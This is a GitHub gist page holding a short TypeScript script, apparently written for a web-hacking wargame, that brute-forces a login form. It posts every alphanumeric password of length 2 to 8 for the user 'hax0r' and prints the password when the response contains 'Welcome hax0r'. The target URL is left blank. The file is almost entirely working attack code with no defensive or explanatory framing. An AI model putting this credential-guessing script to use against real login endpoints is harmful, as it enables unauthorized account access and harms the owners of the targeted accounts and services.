Skip to content

Instantly share code, notes, and snippets.

@webhacking
Created July 24, 2020 04:46
Show Gist options
  • Save webhacking/7f00dce95e1245e11ac34c7b23d015b0 to your computer and use it in GitHub Desktop.
Save webhacking/7f00dce95e1245e11ac34c7b23d015b0 to your computer and use it in GitHub Desktop.

Revisions

  1. webhacking created this gist Jul 24, 2020.
    43 changes: 43 additions & 0 deletions main.ts
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,43 @@
    import axios from 'axios';

    async function generateNoRecursion(len: number, chars: string[]) {
    let i;
    const indices = [];
    for (i = 0; i < len; ++i)
    indices.push(0);

    while (indices[0] < chars.length) {
    let str = "";
    for (i = 0; i < indices.length; ++i) {
    str += chars[indices[i]];
    }
    indices[len - 1]++;
    for (i = len - 1; i > 0 && indices[i] == chars.length; --i) {
    indices[i] = 0;
    indices[i - 1]++;
    }

    await axios.post('', {
    id: 'hax0r',
    pw: str
    }).then((res) => {
    if (res.data.search(`Welcome hax0r`) != -1) {
    console.log(res.data.search(`Welcome hax0r`))
    console.log('Get password', str);
    }
    })
    }
    }

    function brute(chars: string[], min: number, max: number)
    {
    for (let l = min; l <= max; ++l) {
    generateNoRecursion(l, chars);
    }
    }

    const lowerAlph = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"];
    const upperCaseAlp = ["A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"];
    const numbering = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9].map(n => n.toString());

    console.log(brute([...lowerAlph, ...upperCaseAlp, ...numbering], 2, 8))